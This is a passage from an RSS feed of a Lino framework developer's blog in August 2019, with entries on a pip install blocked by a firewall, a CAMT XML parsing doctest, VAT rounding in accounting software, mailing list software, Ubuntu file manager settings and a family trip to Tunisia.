  &lt;span class="n"&gt;Retrying&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Retry&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;total&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;connect&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;redirect&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="n"&gt;after&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt; &lt;span class="n"&gt;broken&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;NewConnectionError(&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;urllib3&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;VerifiedHTTPSConnection&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="mh"&gt;0x7fbc929dac18&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Failed&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;establish&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;new&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Errno&lt;/span&gt; &lt;span class="mi"&gt;101&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;Network&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;unreachable&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;)&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;simple&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;getlino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;
  &lt;span class="n"&gt;Could&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;find&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;version&lt;/span&gt; &lt;span class="n"&gt;that&lt;/span&gt; &lt;span class="n"&gt;satisfies&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;requirement&lt;/span&gt; &lt;span class="n"&gt;getlino&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;versions&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;No&lt;/span&gt; &lt;span class="n"&gt;matching&lt;/span&gt; &lt;span class="n"&gt;distribution&lt;/span&gt; &lt;span class="n"&gt;found&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;getlino&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But for example &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;ping&lt;/span&gt; &lt;span class="pre"&gt;pypi.org&lt;/span&gt;&lt;/code&gt; works.&lt;/p&gt;
&lt;p&gt;Maybe some problem with validating the server certificate  of pypi.org?
I tried the following, but without success:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo -H pip3 --trusted-host pypi.org install getlino
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;After reading &lt;a class="reference external" href="https://github.com/pypa/pip/issues/5362"&gt;this thread&lt;/a&gt; I
decided to show this problem to Steve before trying further. Indeed he just had
to configure their firewall and open ports 443 und 80 for the new server.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0827.html</guid><pubDate>Tue, 27 Aug 2019 00:00:00 +0000</pubDate></item><item><title>Monday, August 26, 2019</title><link>https://luc.lino-framework.org/blog/2019/0826.html</link><description>&lt;section id="monday-august-26-2019"&gt;
&lt;h1&gt;Monday, August 26, 2019&lt;a class="headerlink" href="#monday-august-26-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="valueerror-when-parsing-incoming-xml-file"&gt;
&lt;h2&gt;ValueError when parsing incoming XML file&lt;a class="headerlink" href="#valueerror-when-parsing-incoming-xml-file" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The following code helped us to explore &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3164"&gt;#3164&lt;/a&gt; (a problem coming from
outside of Lino: they somehow had a series of invalid XML files in their
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.b2c.html#lino_xl.lib.b2c.Plugin.import_statements_path" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;import_statements_path&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;).&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino_xl.lib.b2c.camt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;CamtParser&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;unipath&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;os&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;parser&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;CamtParser&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;filename&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/home/luc/tmp/20190820&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;walk&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;*.XML&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;    &lt;span class="n"&gt;data_file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;rb&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;    &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;        &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data_file&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="ne"&gt;ValueError&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;        &lt;span class="k"&gt;pass&lt;/span&gt; &lt;span class="c1"&gt;# print(filename)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;0&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0826.html</guid><pubDate>Mon, 26 Aug 2019 00:00:00 +0000</pubDate></item><item><title>Wednesday, August 14, 2019</title><link>https://luc.lino-framework.org/blog/2019/0814.html</link><description>&lt;section id="wednesday-august-14-2019"&gt;
&lt;h1&gt;Wednesday, August 14, 2019&lt;a class="headerlink" href="#wednesday-august-14-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;On Monday we had a day of rest in &lt;a class="reference external" href="https://en.wikipedia.org/wiki/Monastir,_Tunisia"&gt;Monastir&lt;/a&gt;. Kadur was our local guide
for visiting the &lt;a class="reference external" href="https://en.wikipedia.org/wiki/Ribat_of_Monastir"&gt;Ribat&lt;/a&gt;,
the Marina harbour, the Egdemsi peninsula (Jazīrat Sīdī al Ghudāmisī), the
Medina. Of course we also spent some hours on two beaches (La Falaise and Plage
du 3 août on Monday).&lt;/p&gt;
&lt;p&gt;On Tuesday we said goodbye to Kadur and moved from Monastir to &lt;a class="reference external" href="https://en.wikipedia.org/wiki/Douz"&gt;Douz&lt;/a&gt;. 5 hours in the car. Thanks to the air
conditioned. A short stop in &lt;a class="reference external" href="https://en.wikipedia.org/wiki/El_Djem"&gt;El Jem&lt;/a&gt;
where Ly was our guide through the &lt;a class="reference external" href="https://en.wikipedia.org/wiki/Amphitheatre_of_El_Jem"&gt;Amphitheater&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We arrived in Douz shortly after sunset. Hamza had rented an apartment for us.
After an hour of rest we had dinner with Hamza in a high-level restaurant in the
tourist zone.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0814.html</guid><pubDate>Wed, 14 Aug 2019 00:00:00 +0000</pubDate></item><item><title>Monday, August 12, 2019</title><link>https://luc.lino-framework.org/blog/2019/0812.html</link><description>&lt;section id="monday-august-12-2019"&gt;
&lt;h1&gt;Monday, August 12, 2019&lt;a class="headerlink" href="#monday-august-12-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;This week Hamza and I won’t be working very much on Lino.  Hamza because he is
going to marry; I because I am going to attend their feast with my family.&lt;/p&gt;
&lt;p&gt;We left Vigala on Saturday noon and went to Riga airport by car, passed the
night in a nap zone in Istanbul airport and landed Sunday morning at 9:20 in
Tunis.&lt;/p&gt;
&lt;p&gt;Today we arrived safely in Tunisia and are having two days of rest in Monastir
on our way to Douz where the wedding will be.&lt;/p&gt;
&lt;p&gt;We had hired a car from &lt;a class="reference external" href="http://www.car-rental-tunisia.com/"&gt;SunWebCars&lt;/a&gt;, a
rather small local company located an hour away from Tunis.  They don’t have
their own office in the airport, but organized an agent who waited for us at the
airport to hand over the car.  As far as I know this was the first time my name
was being shown in the arrival hall of an airport.&lt;/p&gt;
&lt;p&gt;After getting the car, we returned back into the airport main hall in order to
buy a Tunisian phone card. We installed it into Iiris’s phone because mine has
no dual SIM. Unfortunately when entering the main hall I had forgotten my own
phone at the security checkpoint. And unfortunately I didn’t have the idea of
immediately testing our new SIM card by calling Hamza.  You see how important it
is to test every code change, and how easily we forget this. This might have
turned into a bigger problem, but fortunately Hamza discovered my misfortune
even before I noticed it. Unfortunately again Ly didn’t hear her phone when
Hamza called her to tell me what had happened.  Thanks be to God, Hamza, and the
car agent who returned back to the airport and stopped us literally in the last
minute when we were about to leave the airport parking.&lt;/p&gt;
&lt;p&gt;Our day of arrival in Tunisia happened to fall exactly onto &lt;a class="reference external" href="https://en.wikipedia.org/wiki/Eid_al-Adha"&gt;Eid al-Adha&lt;/a&gt;, the biggest Islamic holiday of
the year.&lt;/p&gt;
&lt;p&gt;In Monastir we are living in a flat rent by Abdelkader who lives in the same
house.  Oh, this place is so cool! It is the kind of place you cannot get as a
normal tourist without any contact person.  We felt at home immediately.
Yesterday, after testing the beach, which is at 10 minutes of walk, we did our
own meal in the kitchen. I don’t want to imagine us staying in one of those
tourist centres along the coast between Sousse and Monastir!&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0812.html</guid><pubDate>Mon, 12 Aug 2019 00:00:00 +0000</pubDate></item><item><title>Friday, August 9, 2019</title><link>https://luc.lino-framework.org/blog/2019/0809.html</link><description>&lt;section id="friday-august-9-2019"&gt;
&lt;h1&gt;Friday, August 9, 2019&lt;a class="headerlink" href="#friday-august-9-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="subtle-changes-in-cosi"&gt;
&lt;h2&gt;Subtle changes in &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#cosi" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Così&lt;/span&gt;&lt;/a&gt;&lt;a class="headerlink" href="#subtle-changes-in-cosi" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I continued to enter our accounting data and stumbled into the next problem: An
electricity invoice of 94,88 € introduced by a worker.  The invoice was paid by
the worker, but 35% of the total amount is paid back by the employer.  &lt;em&gt;And the
VAT on these 35% are deductible&lt;/em&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Manually enter 94.88 in &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;VatProductInvoice.total_incl&lt;/span&gt;&lt;/code&gt;. Lino fills one
invoice item.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Change the amount of the invoice item (&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;total_incl&lt;/span&gt;&lt;/code&gt;) from 94.88 to 33.22 (94.88 * 0.35).
Lino automatically sets &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;total_base&lt;/span&gt;&lt;/code&gt; to 27.68 € (33.22 / 1.20) and &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;total_vat&lt;/span&gt;&lt;/code&gt; to 5.54 (33.22 - 27.68).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Add a second line and manually set &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;InvoiceItem.account&lt;/span&gt;&lt;/code&gt; to
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;600020&lt;/span&gt;&lt;/code&gt; (Costs paid for workers to be paid back).&lt;/p&gt;
&lt;p&gt;Lino automatically fills the remaining amount (94.88 - 33.22 = 61.66) into the
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;InvoiceItem.total_incl&lt;/span&gt;&lt;/code&gt; field and computes the other amounts of that
line.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;First issue (&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3159"&gt;#3159&lt;/a&gt;): When I enter 33.22 to &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;total_incl&lt;/span&gt;&lt;/code&gt;, Lino automatically computes a VAT amount of 5,54 €.
But TIM had booked (and we have declared) a VAT amount of 5.53 €. I vaguely
remember some Belgian law stating that you must round down the amount of
deductible VAT.  Not sure whether TIM was right or not, but anyway Lino must
support this use case where we enter data from legacy system and want to
&lt;strong&gt;manually edit the VAT amount&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Second issue : How to instruct Lino that account &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;600020&lt;/span&gt;&lt;/code&gt; is normally used
without VAT?
Added a new field &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/accounting.html#lino_xl.lib.accounting.Account.vat_class" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting.Account.vat_class&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="runserver-says-first-seen-with-mtime"&gt;
&lt;h2&gt;runserver says “first seen with mtime”&lt;a class="headerlink" href="#runserver-says-first-seen-with-mtime" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a class="reference external" href="https://code.djangoproject.com/ticket/30554"&gt;https://code.djangoproject.com/ticket/30554&lt;/a&gt;&lt;/p&gt;
&lt;/section&gt;
&lt;section id="playing-with-migrations"&gt;
&lt;h2&gt;playing with migrations&lt;a class="headerlink" href="#playing-with-migrations" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0809.html</guid><pubDate>Fri, 09 Aug 2019 00:00:00 +0000</pubDate></item><item><title>Thursday, August 8, 2019</title><link>https://luc.lino-framework.org/blog/2019/0808.html</link><description>&lt;section id="thursday-august-8-2019"&gt;
&lt;h1&gt;Thursday, August 8, 2019&lt;a class="headerlink" href="#thursday-august-8-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="moving-lino-framework-org-to-another-server"&gt;
&lt;h2&gt;Moving lino-framework.org to another server&lt;a class="headerlink" href="#moving-lino-framework-org-to-another-server" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Is there a better Mailing lists manager than MailMan? MailMan has some disadvantages:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;difficult to integrate with a Lino database (&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.lists.html#module-lino_xl.lib.lists" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.lists&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;not very intuitive web interface for subscribers and list managers&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;difficult to move to another server&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I read &lt;cite&gt;Best Linux Mailing List Managers &amp;lt;https://www.linuxlinks.com/mailinglistmanagers/&amp;gt;`__&lt;/cite&gt;&lt;/p&gt;
&lt;p&gt;I had a look at
&lt;a class="reference external" href="https://www.sympa.org/"&gt;Sympa&lt;/a&gt;,
&lt;a class="reference external" href="https://dadamailproject.com/support/documentation-11_4_4/"&gt;Dada&lt;/a&gt;
and &lt;a class="reference external" href="http://untroubled.org/ezmlm/"&gt;ezmlm-idx&lt;/a&gt;
Sympa and Dada are written in Perl.  ezmlm seems to be written in C.
Sympa looked most sympathic…&lt;/p&gt;
&lt;table class="docutils align-default"&gt;
&lt;tbody&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;Feature&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;Sympa&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;Dada&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;ezmlm&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;Estonian end-user language&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;yes&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;?&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;nginx web interface&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;yes&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;?&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;LDAP  user database&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;yes&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;?&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;MySQL user database&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;yes&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;?&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;a class="reference external" href="https://en.wikipedia.org/wiki/Sympa"&gt;https://en.wikipedia.org/wiki/Sympa&lt;/a&gt;
&lt;a class="reference external" href="https://en.wikipedia.org/wiki/Dada_Mail"&gt;https://en.wikipedia.org/wiki/Dada_Mail&lt;/a&gt;
&lt;a class="reference external" href="https://en.wikipedia.org/wiki/Ezmlm"&gt;https://en.wikipedia.org/wiki/Ezmlm&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://en.wikipedia.org/wiki/List_of_mailing_list_software"&gt;List of mailing list software&lt;/a&gt;&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0808.html</guid><pubDate>Thu, 08 Aug 2019 00:00:00 +0000</pubDate></item><item><title>Wednesday, August 7, 2019</title><link>https://luc.lino-framework.org/blog/2019/0807.html</link><description>&lt;section id="wednesday-august-7-2019"&gt;
&lt;h1&gt;Wednesday, August 7, 2019&lt;a class="headerlink" href="#wednesday-august-7-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I fixed some failures of the book test suite. Which revealed a bug:
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;use_linod&lt;/span&gt;&lt;/code&gt; did not yet automatically
cause &lt;a class="reference external" href="https://dev.lino-framework.org/specs/lino.html#management_command-install" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;install&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; to install the &lt;cite&gt;schedule&lt;/cite&gt; package.&lt;/p&gt;
&lt;section id="ssh-key-already-expired"&gt;
&lt;h2&gt;SSH key already expired&lt;a class="headerlink" href="#ssh-key-already-expired" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Strange: Enigmail says “Your key “Luc Saffre &amp;lt;&lt;a class="reference external" href="mailto:luc&amp;#46;saffre&amp;#37;&amp;#52;&amp;#48;gmx&amp;#46;net"&gt;luc&lt;span&gt;&amp;#46;&lt;/span&gt;saffre&lt;span&gt;&amp;#64;&lt;/span&gt;gmx&lt;span&gt;&amp;#46;&lt;/span&gt;net&lt;/a&gt;&amp;gt;” (key ID AA08
9AA7 687C 65B4 ECB5 A1C5 4B7A AFD7 85BA 6D05) will expire in less than 30 days.
We recommend that you create a new key pair and configure the corresponding
accounts to use it.”&lt;/p&gt;
&lt;/section&gt;
&lt;section id="ubuntu-files-manager-fails-to-open-files"&gt;
&lt;h2&gt;Ubuntu Files manager fails to open files&lt;a class="headerlink" href="#ubuntu-files-manager-fails-to-open-files" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;When I double click or type ENTER on a file in Files (the default file manager
in Ubuntu, aka Nautilus), it seems to run some process (the mouse cursor becomes
a hourglass for some time), but actually nothing opens. When I do the same in
Thunar (another file manager), it works fine.&lt;/p&gt;
&lt;p&gt;The problem occurs with all file extensions (pdf, png, odt, doc, …)&lt;/p&gt;
&lt;p&gt;It &lt;em&gt;does&lt;/em&gt; open files when I right-click and select “Open with other
application”, and then press ENTER to select the default application.&lt;/p&gt;
&lt;img alt="../../_images/0807a.png" src="../../_images/0807a.png" /&gt;
&lt;p&gt;ENTER in above dialog will launch LibreOffice writer correctly. But does it fail
when I just hit ENTER on the file?&lt;/p&gt;
&lt;p&gt;I went to &lt;span class="menuselection"&gt;Files ‣ Preferences ‣ Behaviour&lt;/span&gt; and changed “Open
Action” from “Double click to open items” to “Single click to open items”.  Now
a single click toggles the open action, but the problem remains the same.&lt;/p&gt;
&lt;p&gt;After reading &lt;a class="reference external" href="https://itsfoss.com/install-nemo-file-manager-ubuntu/"&gt;this article&lt;/a&gt;, I switched from
Nautilus to Nemo:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ xdg-mime default nemo.desktop inode/directory application/x-gnome-saved-search
$ gsettings set org.gnome.desktop.background show-desktop-icons false
$ gsettings set org.nemo.desktop show-desktop-icons true
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Note that I had Nemo already installed earlier.&lt;/p&gt;
&lt;p&gt;It’s strange that both Nemo and Nautilus are named “Files”…&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0807.html</guid><pubDate>Wed, 07 Aug 2019 00:00:00 +0000</pubDate></item><item><title>Tuesday, August 6, 2019</title><link>https://luc.lino-framework.org/blog/2019/0806.html</link><description>&lt;section id="tuesday-august-6-2019"&gt;
&lt;h1&gt;Tuesday, August 6, 2019&lt;a class="headerlink" href="#tuesday-august-6-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="accounting"&gt;
&lt;h2&gt;Accounting&lt;a class="headerlink" href="#accounting" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
